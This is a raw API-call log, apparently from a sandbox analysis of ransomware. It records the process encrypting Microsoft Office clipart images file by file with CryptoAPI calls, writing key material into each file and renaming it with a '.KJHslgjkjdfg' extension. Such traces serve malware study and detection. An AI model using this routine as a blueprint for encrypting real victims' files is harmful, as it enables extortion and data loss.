1 [0231.209] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.209] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.210] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.210] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.210] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.210] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.210] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.211] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0231.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.212] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0231.212] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.212] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.212] SetEndOfFile (hFile=0x130) returned 1 [0231.212] GetProcessHeap () returned 0x2ef0000 [0231.213] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.213] GetProcessHeap () returned 0x2ef0000 [0231.213] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.213] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.kjhslgjkjdfg")) returned 1 [0231.215] CloseHandle (hObject=0x130) returned 1 [0231.215] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1 [0231.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.216] GetProcessHeap () returned 0x2ef0000 [0231.216] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.216] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.217] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0231.219] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.219] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.219] GetProcessHeap () returned 0x2ef0000 [0231.219] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.219] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.219] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.219] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.219] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.219] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.219] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.220] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.220] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.220] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8499, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8499, lpOverlapped=0x0) returned 1 [0231.221] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x84a0, dwBufLen=0x84a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x84a0) returned 1 [0231.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.222] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x84a0, lpOverlapped=0x0) returned 1 [0231.222] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.222] SetEndOfFile (hFile=0x130) returned 1 [0231.225] GetProcessHeap () returned 0x2ef0000 [0231.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.225] GetProcessHeap () returned 0x2ef0000 [0231.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.kjhslgjkjdfg")) returned 1 [0231.227] CloseHandle (hObject=0x130) returned 1 [0231.227] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1 [0231.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.228] GetProcessHeap () returned 0x2ef0000 [0231.228] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.228] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.229] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0231.231] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.231] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.231] GetProcessHeap () returned 0x2ef0000 [0231.231] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.231] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.231] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.231] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.231] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.232] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.232] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.232] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.232] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.232] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.232] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x639b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x639b, lpOverlapped=0x0) returned 1 [0231.237] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x63a0, dwBufLen=0x63a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x63a0) returned 1 [0231.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.238] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x63a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x63a0, lpOverlapped=0x0) returned 1 [0231.238] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.238] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.238] SetEndOfFile (hFile=0x130) returned 1 [0231.241] GetProcessHeap () returned 0x2ef0000 [0231.241] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.241] GetProcessHeap () returned 0x2ef0000 [0231.242] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.kjhslgjkjdfg")) returned 1 [0231.243] CloseHandle (hObject=0x130) returned 1 [0231.244] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1 [0231.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.245] GetProcessHeap () returned 0x2ef0000 [0231.245] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.245] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.245] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.245] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.245] GetProcessHeap () returned 0x2ef0000 [0231.245] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.245] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.245] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.245] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.248] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.248] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.248] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.248] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.248] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.248] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.248] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.249] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7e90, lpOverlapped=0x0) returned 1 [0231.250] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e90) returned 1 [0231.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.250] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7e90, lpOverlapped=0x0) returned 1 [0231.251] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.251] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.251] SetEndOfFile (hFile=0x130) returned 1 [0231.254] GetProcessHeap () returned 0x2ef0000 [0231.254] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.254] GetProcessHeap () returned 0x2ef0000 [0231.254] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.kjhslgjkjdfg")) returned 1 [0231.256] CloseHandle (hObject=0x130) returned 1 [0231.256] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1 [0231.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.257] GetProcessHeap () returned 0x2ef0000 [0231.257] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.257] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.257] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.260] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.260] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.260] GetProcessHeap () returned 0x2ef0000 [0231.260] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.260] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.260] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.260] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.260] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.260] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.260] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.261] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 